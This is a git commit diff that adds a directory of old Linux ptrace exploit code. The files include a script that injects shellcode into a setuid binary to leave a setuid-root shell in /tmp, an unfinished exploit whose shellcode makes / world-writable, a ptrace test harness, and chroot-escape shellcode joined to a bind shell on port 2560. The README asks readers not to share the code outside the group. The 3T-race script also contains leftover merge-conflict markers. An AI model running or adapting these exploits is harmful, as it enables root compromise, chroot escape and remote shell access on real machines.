diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/ptrace | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/ptrace')
| -rw-r--r-- | other/ptrace/3T-race | 217 | ||||
| -rw-r--r-- | other/ptrace/README | 35 | ||||
| -rw-r--r-- | other/ptrace/ptrace_exp.c | 128 | ||||
| -rw-r--r-- | other/ptrace/ptrace_test.c | 117 | ||||
| -rw-r--r-- | other/ptrace/ptracebreak.c | 183 |
5 files changed, 680 insertions, 0 deletions
diff --git a/other/ptrace/3T-race b/other/ptrace/3T-race new file mode 100644 index 0000000..4cc2931 --- /dev/null +++ b/other/ptrace/3T-race | |||
| @@ -0,0 +1,217 @@ | |||
| 1 | #!/bin/sh | ||
| 2 | |||
| 3 | # | ||
| 4 | # IMPORTANT if you will get POKETEXT input/output error | ||
| 5 | # just run exploit again (I didn't debug why it crash sometimes:) | ||
| 6 | # | ||
| 7 | # I replaced /usr/bin/passwd with /bin/ping | ||
| 8 | # It should be +s on meny boxes too and it has +r (passwd hasn't) | ||
| 9 | # I nedd +r on binary to check address of .data segment. | ||
| 10 | # | ||
| 11 | # I didn't make 'disk cache clean up' better.. sorry no time | ||
| 12 | # I'll do it soon ;) | ||
| 13 | # | ||
| 14 | # -tm | ||
| 15 | |||
| 16 | |||
| 17 | echo -e "\E[1m\E[31m3T-race\E[m by \E[1mtmogg\E[m < lam3rZ / HERT / TESO >" | ||
| 18 | echo -en "\E[32m[+]\E[m Creating main code... " | ||
| 19 | |||
| 20 | cat > /tmp/.3T-race.c <<_EOF1 | ||
| 21 | /* | ||
| 22 | * 3T-race by tmogg < lam3rZ / HERT / TESO > | ||
| 23 | * 24/03/2001 | ||
| 24 | */ | ||
| 25 | #include <sys/ptrace.h> | ||
| 26 | #include <errno.h> | ||
| 27 | #include <signal.h> | ||
| 28 | #include <unistd.h> | ||
| 29 | #include <sys/mman.h> | ||
| 30 | #include <fcntl.h> | ||
| 31 | #include <asm/ptrace.h> | ||
| 32 | #include <stdio.h> | ||
| 33 | #include <sys/procfs.h> | ||
| 34 | #include <strings.h> | ||
| 35 | #define green "\E[32m" | ||
| 36 | #define bold "\E[1m" | ||
| 37 | #define normal "\E[m" | ||
| 38 | #define red "\E[31m" | ||
| 39 | |||
| 40 | char *the_suid = "/bin/ping" ; | ||
| 41 | _EOF1 | ||
| 42 | |||
| 43 | addr=`/usr/bin/objdump -x /bin/ping 2>/dev/null | grep "\.data" | awk '{printf "0x"$4}'` | ||
| 44 | echo "int some_add = $addr;" >> /tmp/.3T-race.c | ||
| 45 | |||
| 46 | <<<<<<< 3T-race | ||
| 47 | char *the_suid = "/usr/bin/passwd" ; | ||
| 48 | //int some_add = 0x0804bc6c ; // objdump -x the_suid | grep .data | ||
| 49 | int some_add = 0x0804e420; | ||
| 50 | ======= | ||
| 51 | cat >> /tmp/.3T-race.c <<_EOF1 | ||
| 52 | >>>>>>> 1.2 | ||
| 53 | |||
| 54 | char *shellcode = | ||
| 55 | "\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb" | ||
| 56 | "\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a" | ||
| 57 | "\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47" | ||
| 58 | "\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89" | ||
| 59 | "\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b" | ||
| 60 | "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8" | ||
| 61 | "\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41" | ||
| 62 | "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" | ||
| 63 | "\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63" | ||
| 64 | "\x30" | ||
| 65 | "chown root:root /tmp/.xp;chmod 4755 /tmp/.xp"; | ||
| 66 | |||
| 67 | char *pl=green"[+]"normal; | ||
| 68 | char *mi=red"[--]"normal; | ||
| 69 | char *ch=bold"[*]"normal; | ||
| 70 | char *la=green"[?]"normal; | ||
| 71 | |||
| 72 | int stat(int a) { | ||
| 73 | char *dupa; | ||
| 74 | char fname[1024]; | ||
| 75 | |||
| 76 | sprintf(fname,"/proc/%d/status",a); | ||
| 77 | a = open(fname,O_RDONLY); | ||
| 78 | read(a,fname,1024); | ||
| 79 | dupa = strchr(fname,'S'); | ||
| 80 | if (dupa[7] == 'Z') { | ||
| 81 | printf("\n%s Child died.\nExiting...\n",mi); | ||
| 82 | exit(); | ||
| 83 | } | ||
| 84 | return dupa[7]; | ||
| 85 | } | ||
| 86 | |||
| 87 | |||
| 88 | |||
| 89 | int main(int argc, char **argv) | ||
| 90 | { | ||
| 91 | int pid; | ||
| 92 | int i,j; | ||
| 93 | void * p; | ||
| 94 | struct user_regs_struct regs; | ||
| 95 | char fname[1024]; | ||
| 96 | |||
| 97 | if (argc == 1) { | ||
| 98 | printf("%s cleaning disk cache, please wait...",pl); | ||
| 99 | fflush(stdout); | ||
| 100 | system("cat /usr/bin/* >/dev/null 2>&1"); | ||
| 101 | printf(" [done]\n%s starting main code\n", pl); | ||
| 102 | execl(argv[0],argv[0],"daj-mi-qrfa-roota",0); | ||
| 103 | } | ||
| 104 | |||
| 105 | pid = fork(); | ||
| 106 | if (pid == 0) { | ||
| 107 | printf("%s Child exec...\n",ch ); | ||
| 108 | i = open("/etc/lilo.conf",O_RDONLY); | ||
| 109 | p = mmap(0,102400,PROT_READ,MAP_PRIVATE,i,0); | ||
| 110 | i = execl(the_suid, p, 0); | ||
| 111 | printf("%s Child exec error: %s\n", mi, strerror(errno)); | ||
| 112 | exit(-1); | ||
| 113 | } | ||
| 114 | printf("%s Waiting for disk sleep.... ", pl); | ||
| 115 | printf("%s dunno why but that printf helps sometimes ;) %s\n",red,normal); | ||
| 116 | while (stat(pid)!='D') {} | ||
| 117 | printf("[OK]\n"); | ||
| 118 | i = ptrace(PTRACE_ATTACH, pid, 0, 0); | ||
| 119 | if (i == -1) { | ||
| 120 | printf("%s ATTACH: %s\nExiting...\n", mi, strerror(errno)); | ||
| 121 | exit(-1); | ||
| 122 | } | ||
| 123 | printf("%s ATTACH: %d : %s\n", pl, i, strerror(errno)); | ||
| 124 | waitpid(pid,0,0); | ||
| 125 | // printf("%sPress ENTER%s\n",red,normal); | ||
| 126 | // getchar(); | ||
| 127 | j = ptrace(PTRACE_PEEKUSER, pid, (int)®s.eip - (int)®s.ebx, 0); | ||
| 128 | if (j == -1) { | ||
| 129 | printf("%s PEEKUSER: %s\n", mi, i, strerror(errno)); | ||
| 130 | printf("Exiting...\n"); | ||
| 131 | exit(-1); | ||
| 132 | } | ||
| 133 | printf("%s eip: 0x%x", pl, j); | ||
| 134 | j = some_add; | ||
| 135 | i = ptrace(PTRACE_POKEUSER, pid, (int)®s.eip - (int)®s.ebx, j); | ||
| 136 | if (i == -1) { | ||
| 137 | printf("\n%s POKEUSER: %s\nExiting...\n", mi, i, strerror(errno)); | ||
| 138 | exit(-1); | ||
| 139 | } | ||
| 140 | j = ptrace(PTRACE_PEEKUSER, pid, (int)®s.eip - (int)®s.ebx, 0); | ||
| 141 | if (j == -1) { | ||
| 142 | printf("\n%s PEEKUSER: %s\nExiting...\n", mi, strerror(errno)); | ||
| 143 | exit(-1); | ||
| 144 | } | ||
| 145 | printf(" -> 0x%x\n", pl, j); | ||
| 146 | printf("%s copy data from 0x%x to 0x%x\n", pl, shellcode, some_add); | ||
| 147 | printf("%s[%s",green,normal); | ||
| 148 | for (j=0; j<=strlen(shellcode); j+=4) { | ||
| 149 | i = ptrace(PTRACE_POKETEXT, pid,some_add+j,*(int*)(shellcode+j)); | ||
| 150 | if (i != 0) { | ||
| 151 | printf("%s POKETEXT: %s\nExiting...\n", mi, strerror(errno)); | ||
| 152 | exit(-1); | ||
| 153 | } | ||
| 154 | printf("."); | ||
| 155 | } | ||
| 156 | printf("%s]%s\n",green,normal); | ||
| 157 | //while (1) {} | ||
| 158 | i = ptrace(PTRACE_CONT, pid, 0, 0); | ||
| 159 | printf("%s CONT: %d : %s\n", la, i, strerror(errno)); | ||
| 160 | printf("Status of %d: %c\n", pid, stat(pid)); | ||
| 161 | i = ptrace(PTRACE_DETACH, pid, 0, SIGCONT); | ||
| 162 | printf("%s DETACH: %d : %s\n", la, i, strerror(errno)); | ||
| 163 | printf("Status of %d: %c\n", pid, stat(pid)); | ||
| 164 | } | ||
| 165 | |||
| 166 | _EOF1 | ||
| 167 | |||
| 168 | gcc -o /tmp/.3T-race /tmp/.3T-race.c > /dev/null 2>&1 | ||
| 169 | |||
| 170 | if [ ! -f /tmp/.3T-race ]; then | ||
| 171 | echo "[Failed]" | ||
| 172 | echo "Exiting..." | ||
| 173 | #rm -rf /tmp/.3T-race.c | ||
| 174 | exit | ||
| 175 | fi | ||
| 176 | |||
| 177 | echo "[done]" | ||
| 178 | |||
| 179 | echo -en "\E[32m[+]\E[m Creating helper... " | ||
| 180 | |||
| 181 | cat > /tmp/.xp.c <<_EOF2 | ||
| 182 | |||
| 183 | int main() { | ||
| 184 | int i; | ||
| 185 | |||
| 186 | i = setuid(0); | ||
| 187 | printf("setuid(0) = %d\n",i); | ||
| 188 | i = setgid(0); | ||
| 189 | printf("setgid(0) = %d\n",i); | ||
| 190 | system("/bin/sh"); | ||
| 191 | } | ||
| 192 | |||
| 193 | _EOF2 | ||
| 194 | |||
| 195 | gcc -o /tmp/.xp /tmp/.xp.c > /dev/null 2>&1 | ||
| 196 | if [ ! -f /tmp/.xp ]; then | ||
| 197 | echo "[Failed]" | ||
| 198 | echo "Exiting..." | ||
| 199 | #rm -rf /tmp/.3T-race* | ||
| 200 | #rm -rf /tmp/.xp.c | ||
| 201 | exit | ||
| 202 | fi | ||
| 203 | echo "[done]" | ||
| 204 | #rm -rf /tmp/.3T-race.c /tmp/.xp.c | ||
| 205 | echo -e "\E[32m[+] Starting explit" | ||
| 206 | /tmp/.3T-race | ||
| 207 | sleep 2 | ||
| 208 | if [ -u /tmp/.xp ]; then | ||
| 209 | echo -e "\E[32m[+]\E[m Going to rootshell" | ||
| 210 | /tmp/.xp | ||
| 211 | else | ||
| 212 | echo "Doesn't work ;(" | ||
| 213 | killall -9 passwd | ||
| 214 | fi | ||
| 215 | echo -e "\E[32m[+]\E[m Cleaning up /tmp ..." | ||
| 216 | #rm -rf /tmp/.3T-race /tmp/.xp | ||
| 217 | echo "Thank you for using 3T-race." | ||
diff --git a/other/ptrace/README b/other/ptrace/README new file mode 100644 index 0000000..50853e6 --- /dev/null +++ b/other/ptrace/README | |||
| @@ -0,0 +1,35 @@ | |||
| 1 | !!!!!!!!!!!!!!!!!! | ||
| 2 | |||
| 3 | |||
| 4 | VERY important | ||
| 5 | |||
| 6 | don't give infos for ppl out of TESO | ||
| 7 | |||
| 8 | |||
| 9 | !!!!!!!!!!!!!!!!!! | ||
| 10 | |||
| 11 | It's an example how to make race condition in linux kernel | ||
| 12 | It was found by someone and was posted to BQ | ||
| 13 | There was no details about bug | ||
| 14 | There was patches... erm... "patches" :) | ||
| 15 | Doode which found this idea of exploiting told: "It works on 2.2.18-owl4" so... | ||
| 16 | I didn't exploited that vuln. but i'm closer to do it day by day ;) | ||
| 17 | |||
| 18 | If you have any ideas for this code give it for me plz | ||
| 19 | |||
| 20 | How it works / should work: | ||
| 21 | |||
| 22 | if you take a look at code you will se :) | ||
| 23 | exec is called with mmaped file as argv[0] | ||
| 24 | accessing this file will cause exec to lag | ||
| 25 | |||
| 26 | but! we will got lag only when filename is not in disk cache | ||
| 27 | |||
| 28 | status of child should be 'D' (disk sleep) in attach time | ||
| 29 | |||
| 30 | have fun with my code... | ||
| 31 | |||
| 32 | and one more time: please... don't trade/ditribute it | ||
| 33 | |||
| 34 | tmogg@ags.pl | tmogg@hert.org | ||
| 35 | |||
diff --git a/other/ptrace/ptrace_exp.c b/other/ptrace/ptrace_exp.c new file mode 100644 index 0000000..6acd1d8 --- /dev/null +++ b/other/ptrace/ptrace_exp.c | |||
| @@ -0,0 +1,128 @@ | |||
| 1 | /* | ||
| 2 | * ptracing the suid for fun and proffit | ||
| 3 | * | ||
| 4 | * 21/03/2001 - tmoggie | ||
| 5 | * | ||
| 6 | * exploit DOESN'T WORK yet.. so don't blame me for it :P | ||
| 7 | * it's an example of the race! | ||
| 8 | * | ||
| 9 | * gcc -Wall -o ptrace_expl ptrace_expl.c | ||
| 10 | * | ||
| 11 | */ | ||
| 12 | |||
| 13 | #include <sys/ptrace.h> | ||
| 14 | #include <sys/procfs.h> | ||
| 15 | #include <sys/types.h> | ||
| 16 | #include <sys/wait.h> | ||
| 17 | #include <errno.h> | ||
| 18 | #include <signal.h> | ||
| 19 | #include <unistd.h> | ||
| 20 | #include <sys/mman.h> | ||
| 21 | #include <fcntl.h> | ||
| 22 | #include <asm/ptrace.h> | ||
| 23 | #include <stdio.h> | ||
| 24 | #include <stdlib.h> | ||
| 25 | #include <string.h> | ||
| 26 | |||
| 27 | // chmod 0777 / | ||
| 28 | char *shellcode = "\xb8\x0f\x00\x00\x00\x68\x2f\x00\x00\x2f\x89\xe3\xb9\xff\x01\x00\x00\xcd\x80"; | ||
| 29 | |||
| 30 | /* "\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb" | ||
| 31 | "\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a" | ||
| 32 | "\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47" | ||
| 33 | "\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89" | ||
| 34 | "\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b" | ||
| 35 | "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8" | ||
| 36 | "\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41" | ||
| 37 | "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" | ||
| 38 | "\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63" | ||
| 39 | "\x30" | ||
| 40 | "chmod 4777 /tmp/xp"; */ | ||
| 41 | |||
| 42 | long int some_add = 0x08048bc8 ; | ||
| 43 | |||
| 44 | void | ||
| 45 | stat(int pid) { | ||
| 46 | int i; | ||
| 47 | char fname[1024]; | ||
| 48 | |||
| 49 | sprintf(fname,"/proc/%d/status",pid); | ||
| 50 | i = open(fname,O_RDONLY); | ||
| 51 | printf("open : %d\n",i); | ||
| 52 | read(i,fname,sizeof(fname)); | ||
| 53 | close(i); | ||
| 54 | i=0; | ||
| 55 | while (fname[i] != '\n') i++; | ||
| 56 | i++; | ||
| 57 | while (fname[i]!='\n') i++; | ||
| 58 | fname[i]='\0'; | ||
| 59 | printf("==================== status ============\n%s\n",fname); | ||
| 60 | printf("****************************************\n"); | ||
| 61 | } | ||
| 62 | |||
| 63 | int main(int argc, char **argv) | ||
| 64 | { | ||
| 65 | int pid; | ||
| 66 | int i,j; | ||
| 67 | int cnt; | ||
| 68 | void * p; | ||
| 69 | struct pt_regs regs; | ||
| 70 | /*struct elf_prpsinfo proc;*/ | ||
| 71 | |||
| 72 | if (argc == 1) { | ||
| 73 | printf("[+] cleaning disk cache, pleas be patient..."); | ||
| 74 | fflush(stdout); | ||
| 75 | system("cat /usr/bin/* >/dev/null 2>&1"); | ||
| 76 | printf(" [done]\n[+] starting main code\n"); | ||
| 77 | execl(argv[0],argv[0],"daj-mi-qrfa-roota",0); | ||
| 78 | } | ||
| 79 | |||
| 80 | pid = fork(); | ||
| 81 | if (pid == 0) { | ||
| 82 | i = open("/etc/lilo.conf",O_RDONLY); | ||
| 83 | p = mmap(0,102400,PROT_READ,MAP_PRIVATE,i,0); | ||
| 84 | printf("Child exec\n"); | ||
| 85 | execl("/usr/bin/passwd", p, 0); | ||
| 86 | printf("C aiaiai: %s\n",strerror(errno)); | ||
| 87 | exit(-1); | ||
| 88 | } | ||
| 89 | stat(pid); | ||
| 90 | i = ptrace(PTRACE_ATTACH, pid, 0, 0); | ||
| 91 | printf("P ATT: %d : %s\n",i,strerror(errno)); | ||
| 92 | if (i != 0) { | ||
| 93 | printf("P ATT: failed: %s\n",strerror(errno)); | ||
| 94 | exit(-1); | ||
| 95 | } | ||
| 96 | i = waitpid(pid,0,0); | ||
| 97 | i = ptrace(PTRACE_GETREGS,pid,®s,0); | ||
| 98 | printf("PTRACE_GETREGS returned: %d : %s\n",i,strerror(errno)); | ||
| 99 | stat(pid); | ||
| 100 | /* printf("eip = 0x%8.8lx\n",regs.eip); | ||
| 101 | |||
| 102 | printf("new eip = 0x0%8.8lx\n",some_add); | ||
| 103 | regs.eip = some_add; | ||
| 104 | i = ptrace(PTRACE_SETREGS,pid,®s,5); | ||
| 105 | printf("[+] PTRACE_SETREGS returned: %d : %s\n",i,strerror(errno)); | ||
| 106 | */ | ||
| 107 | if ( (i = ptrace(PTRACE_POKEUSER, pid, 4*EIP, shellcode)) != 0) | ||
| 108 | fprintf(stderr, "err. ERROR ptrace_pikeuser\n"); | ||
| 109 | |||
| 110 | stat(pid); | ||
| 111 | printf("[+] copy shellcode from P:0x%8.8x to C:0x%8.8lx\n[", | ||
| 112 | (int)shellcode,some_add); | ||
| 113 | for (j=0;j<strlen(shellcode);j+=4) { | ||
| 114 | i = ptrace(PTRACE_POKETEXT,pid,some_add+j,*(int*)(shellcode+j)); | ||
| 115 | printf("."); | ||
| 116 | if (i != 0) { | ||
| 117 | printf("\n[-] PTRACE_POKETEXT returned: %d : %s\n",i,strerror(errno)); | ||
| 118 | printf("exiting\n"); | ||
| 119 | exit(-1); | ||
| 120 | } | ||
| 121 | } | ||
| 122 | printf("]\n"); | ||
| 123 | stat(pid); | ||
| 124 | i = ptrace(PTRACE_DETACH, pid, 0, 0); | ||
| 125 | stat(pid); | ||
| 126 | exit(0); /* gnu coding standarts :> */ | ||
| 127 | return(0); | ||
| 128 | } | ||
diff --git a/other/ptrace/ptrace_test.c b/other/ptrace/ptrace_test.c new file mode 100644 index 0000000..3d58f30 --- /dev/null +++ b/other/ptrace/ptrace_test.c | |||
| @@ -0,0 +1,117 @@ | |||
| 1 | /* | ||
| 2 | * this is nothing. just to get familiar with ptrace stuff | ||
| 3 | * and testing... | ||
| 4 | */ | ||
| 5 | |||
| 6 | #include <sys/ptrace.h> | ||
| 7 | #include <sys/procfs.h> | ||
| 8 | #include <sys/types.h> | ||
| 9 | #include <sys/wait.h> | ||
| 10 | #include <errno.h> | ||
| 11 | #include <signal.h> | ||
| 12 | #include <unistd.h> | ||
| 13 | #include <sys/mman.h> | ||
| 14 | #include <fcntl.h> | ||
| 15 | #include <asm/ptrace.h> | ||
| 16 | #include <stdio.h> | ||
| 17 | |||
| 18 | /* lets take this lame shellcode...doing some useless jumps | ||
| 19 | nop's setuid(0) and exec /bin/id */ | ||
| 20 | char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 21 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | ||
| 22 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | ||
| 23 | "\x80\xe8\xdc\xff\xff\xff/bin/id"; | ||
| 24 | |||
| 25 | |||
| 26 | void | ||
| 27 | stat(int pid) { | ||
| 28 | int i; | ||
| 29 | char fname[1024]; | ||
| 30 | sprintf(fname,"/proc/%d/status",pid); | ||
| 31 | i = open(fname,O_RDONLY); | ||
| 32 | printf("open : %d\n",i); | ||
| 33 | read(i,fname,sizeof(fname)); | ||
| 34 | close(i); | ||
| 35 | i=0; | ||
| 36 | while (fname[i] != '\n') i++; | ||
| 37 | i++; | ||
| 38 | while (fname[i]!='\n') i++; | ||
| 39 | fname[i]='\0'; | ||
| 40 | printf("==================== status ============\n%s\n",fname); | ||
| 41 | printf("****************************************\n"); | ||
| 42 | } | ||
| 43 | |||
| 44 | void | ||
| 45 | die(char *s, int code) | ||
| 46 | { | ||
| 47 | fprintf(stderr, "ERROR: %s", s); | ||
| 48 | exit(code); | ||
| 49 | } | ||
| 50 | |||
| 51 | void | ||
| 52 | test_shellcode(char *sc) | ||
| 53 | { | ||
| 54 | /* pushl sc; push ip; CALL xxx; pushl %ebp; movl %esp, %ebp */ | ||
| 55 | __asm__("jmp *0x8(%ebp)"); | ||
| 56 | } | ||
| 57 | |||
| 58 | void | ||
| 59 | mysignal(int sig) | ||
| 60 | { | ||
| 61 | fprintf(stderr, "signal %d received\n", sig); | ||
| 62 | } | ||
| 63 | |||
| 64 | |||
| 65 | void | ||
| 66 | do_child() | ||
| 67 | { | ||
| 68 | int i=1; | ||
| 69 | /* no signal should be delivered...anyway. lets check | ||
| 70 | if someone is doing something evil to us...CATCH IT!*/ | ||
| 71 | signal(SIGTRAP, mysignal); | ||
| 72 | signal(SIGALRM, mysignal); | ||
| 73 | signal(SIGCHLD, mysignal); | ||
| 74 | signal(SIGCONT, mysignal); | ||
| 75 | signal(SIGSTOP, mysignal); | ||
| 76 | while(i) /* stay in here...parent, screw me up ! */ | ||
| 77 | { | ||
| 78 | printf("child %d\n", i++); | ||
| 79 | sleep(2); | ||
| 80 | } | ||
| 81 | |||
| 82 | } | ||
| 83 | |||
| 84 | int | ||
| 85 | main(int argc, char *argv[]) | ||
| 86 | { | ||
| 87 | int pid, i; | ||
| 88 | struct pt_regs regs; | ||
| 89 | struct elf_prpsinfo proc; | ||
| 90 | |||
| 91 | |||
| 92 | if ( (pid = fork()) == 0) | ||
| 93 | do_child(); | ||
| 94 | if (pid < 0) | ||
| 95 | die("sucker..fork failed\n", -1); | ||
| 96 | |||
| 97 | stat(pid); | ||
| 98 | sleep(1); | ||
| 99 | printf("attaching child %d\n", pid); | ||
| 100 | if ( (i = ptrace(PTRACE_ATTACH, pid, 0, 0)) != 0) | ||
| 101 | die("ptrace_attach\n", -1); | ||
| 102 | i = waitpid(pid, 0,0); | ||
| 103 | stat(pid); | ||
| 104 | if ( (i = ptrace(PTRACE_POKEUSER, pid, 4*EIP, shellcode)) != 0) | ||
| 105 | die("ptrace_pokeuser\n", -1); | ||
| 106 | |||
| 107 | if( (i = ptrace(PTRACE_DETACH, pid, 0, 0)) != 0) | ||
| 108 | die("ptrace_detach failed\n", -1); | ||
| 109 | |||
| 110 | stat(pid); | ||
| 111 | printf("done..w8ting 10 seconds\n"); | ||
| 112 | sleep(10); | ||
| 113 | |||
| 114 | exit(0); | ||
| 115 | return(0); | ||
| 116 | } | ||
| 117 | |||
diff --git a/other/ptrace/ptracebreak.c b/other/ptrace/ptracebreak.c new file mode 100644 index 0000000..d5e4f6b --- /dev/null +++ b/other/ptrace/ptracebreak.c | |||
| @@ -0,0 +1,183 @@ | |||
| 1 | /* | ||
| 2 | ptrace-chrootbreak shellcode, 95 bytes | ||
| 3 | |||
| 4 | Since 2.4.14 kernel, linus stopped playing dir tricks | ||
| 5 | to leave chroot()-ed area. However, mknod() and ptrace() | ||
| 6 | can be still used to do so. | ||
| 7 | |||
| 8 | Algo: | ||
| 9 | 1. Try to regain uid/euid/gid/egid = 0, for case | ||
| 10 | that CAP_SYS_PTRACE is dropped. Also block | ||
| 11 | all signals, because some daemons would like | ||
| 12 | to die after SIGCHLD/SIGTRAP being received. | ||
| 13 | 2. Try attach to parent process in hope that | ||
| 14 | it is outside chroot(), if failed to do so, | ||
| 15 | we should be top process, so execute final shellcode. | ||
| 16 | 3. Get EIP of parent, and through PTRACE_POKETEXT | ||
| 17 | overwrite .text of parent with our own copy | ||
| 18 | at EIP location. | ||
| 19 | 4. Detach from parent and let it run our code from | ||
| 20 | step 1. Current process will exit(). | ||
| 21 | |||
| 22 | By that way, we'll follow execution tree, so it should | ||
| 23 | work from any depth. Final shellcode will be executed | ||
| 24 | in case of error (i.e. ppid == 1) from the thread at the | ||
| 25 | top of process tree, which will be with some opportunity | ||
| 26 | outside chroot. Whoa. | ||
| 27 | |||
| 28 | However, this cannot be used against local execve, | ||
| 29 | because we're losing TTY. You need to use | ||
| 30 | some bind/connect dup()-ing shellcode. | ||
| 31 | */ | ||
| 32 | |||
| 33 | #include <stdio.h> | ||
| 34 | #include <stdlib.h> | ||
| 35 | #include <unistd.h> | ||
| 36 | #define BINDPORT 2560 | ||
| 37 | |||
| 38 | /* | ||
| 39 | asm(" | ||
| 40 | .data | ||
| 41 | .p2align 0 | ||
| 42 | .align 0 | ||
| 43 | ptrace_break: | ||
| 44 | jmp jumpover | ||
| 45 | getdelta: | ||
| 46 | |||
| 47 | # setreuid(0, 0) & setregid(0, 0) ... just to be sure :) | ||
| 48 | pushl $70 | ||
| 49 | popl %eax | ||
| 50 | xorl %ebx, %ebx | ||
| 51 | xorl %ecx, %ecx | ||
| 52 | int $0x80 | ||
| 53 | mov $71, %al | ||
| 54 | int $0x80 | ||
| 55 | |||
| 56 | # ignore all signals, because some daemons | ||
| 57 | # tends to do some odd stuff after SIGCHLD being received | ||
| 58 | mov $69, %al | ||
| 59 | dec %ebx | ||
| 60 | int $0x80 | ||
| 61 | |||
| 62 | # getppid | ||
| 63 | pushl $64 | ||
| 64 | popl %eax | ||
| 65 | int $0x80 | ||
| 66 | xchg %eax, %ecx | ||
| 67 | |||
| 68 | # try attach | ||
| 69 | mov $26, %al | ||
| 70 | pushl $0x10 | ||
| 71 | popl %ebx | ||
| 72 | int $0x80 | ||
| 73 | |||
| 74 | test %eax, %eax | ||
| 75 | jnz scode | ||
| 76 | |||
| 77 | waitforthing: | ||
| 78 | pushal | ||
| 79 | movb $7, %al | ||
| 80 | movl %ecx, %ebx | ||
| 81 | xorl %ecx, %ecx | ||
| 82 | pushl $2 | ||
| 83 | popl %edx | ||
| 84 | int $0x80 | ||
| 85 | popal | ||
| 86 | |||
| 87 | # get eip of parent | ||
| 88 | getregs: | ||
| 89 | popl %edi | ||
| 90 | pushl %eax | ||
| 91 | movl %esp, %esi | ||
| 92 | mov $26, %al | ||
| 93 | mov $3, %bl | ||
| 94 | pushl $12*4 | ||
| 95 | popl %edx | ||
| 96 | int $0x80 | ||
| 97 | popl %edx | ||
| 98 | |||
| 99 | # well, now do some little harm; put us | ||
| 100 | # at parent's eip :) | ||
| 101 | .byte 0x83, 0xef # subl $(scode-ptrace_break), %edi | ||
| 102 | .byte (scode-ptrace_break) | ||
| 103 | movb $4, %bl | ||
| 104 | fuck_parent: | ||
| 105 | movb $26, %al | ||
| 106 | movl (%edi), %esi | ||
| 107 | int $0x80 | ||
| 108 | incl %edi | ||
| 109 | incl %edx | ||
| 110 | shl $24, %esi | ||
| 111 | jnz fuck_parent | ||
| 112 | |||
| 113 | # detach and wake up parent | ||
| 114 | # (data - %esi is always zero) | ||
| 115 | detachthing: | ||
| 116 | mov $26, %al | ||
| 117 | movb $0x11, %bl | ||
| 118 | int $0x80 | ||
| 119 | inc %eax | ||
| 120 | int $0x80 | ||
| 121 | jumpover: | ||
| 122 | call getdelta | ||
| 123 | scode: | ||
| 124 | .byte 0 | ||
| 125 | "); | ||
| 126 | |||
| 127 | extern void ptrace_break(); | ||
| 128 | extern void ptrace_break_end(); | ||
| 129 | extern unsigned char wport[2]; | ||
| 130 | */ | ||
| 131 | |||
| 132 | /* our ptrace-break shellcode */ | ||
| 133 | unsigned char cbreak[] = | ||
| 134 | "\xeb\x58\x6a\x46\x58\x31\xdb\xcd\x80\xb0\x47\xcd\x80\xb0\x45\x4b" | ||
| 135 | "\xcd\x80\x6a\x40\x58\xcd\x80\x91\x6a\x1a\x58\x6a\x10\x5b\xcd\x80" | ||
| 136 | "\x85\xc0\x75\x3b\x60\xb0\x07\x89\xcb\x31\xc9\x6a\x02\x5a\xcd\x80" | ||
| 137 | "\x61\x5f\x50\x89\xe6\xb0\x1a\xb3\x03\x6a\x30\x5a\xcd\x80\x5a\x83" | ||
| 138 | "\xef\x5f\xb3\x04\xb0\x1a\x8b\x37\xcd\x80\x47\x42\xc1\xe6\x18\x75" | ||
| 139 | "\xf3\xb0\x1a\xb3\x11\xcd\x80\x40\xcd\x80\xe8\xa3\xff\xff\xff"; | ||
| 140 | |||
| 141 | /* classic bindshell */ | ||
| 142 | unsigned char bind[84] = | ||
| 143 | "\x6a\x66\x58\x31\xdb\x53\x43\x53" | ||
| 144 | "\x6a\x02\x89\xe1\xcd\x80\x43\x31" | ||
| 145 | "\xc9\x51\xb5\x0a\x0f\xc9\x09\xd9" /* 0x0a * 256 = port 2560 */ | ||
| 146 | "\x51\x89\xe6\x6a\x10\x56\x50\x6a" | ||
| 147 | "\x66\x58\x89\xe1\xcd\x80\xb0\x66" | ||
| 148 | "\x43\x43\xcd\x80\x89\x64\x24\x08" | ||
| 149 | "\xb0\x66\x43\xcd\x80\x93\x91\x6a" | ||
| 150 | "\x3f\x58\xcd\x80\x49\x79\xf8\x50" | ||
| 151 | "\x68\x6e\x2f\x73\x68\x68\x2f\x2f" | ||
| 152 | "\x62\x69\x89\xe3\x50\x53\x89\xe1" | ||
| 153 | "\xb0\x0b\xcd\x80"; | ||
| 154 | |||
| 155 | |||
| 156 | int main() | ||
| 157 | { | ||
| 158 | char buf[512]; | ||
| 159 | void (*breakchroot)() = (void *) buf; | ||
| 160 | |||
| 161 | /* setup port to bind */ | ||
| 162 | bind[19] = BINDPORT / 256; | ||
| 163 | |||
| 164 | /* build resulting code */ | ||
| 165 | sprintf(buf, "%s%s", cbreak, bind); | ||
| 166 | |||
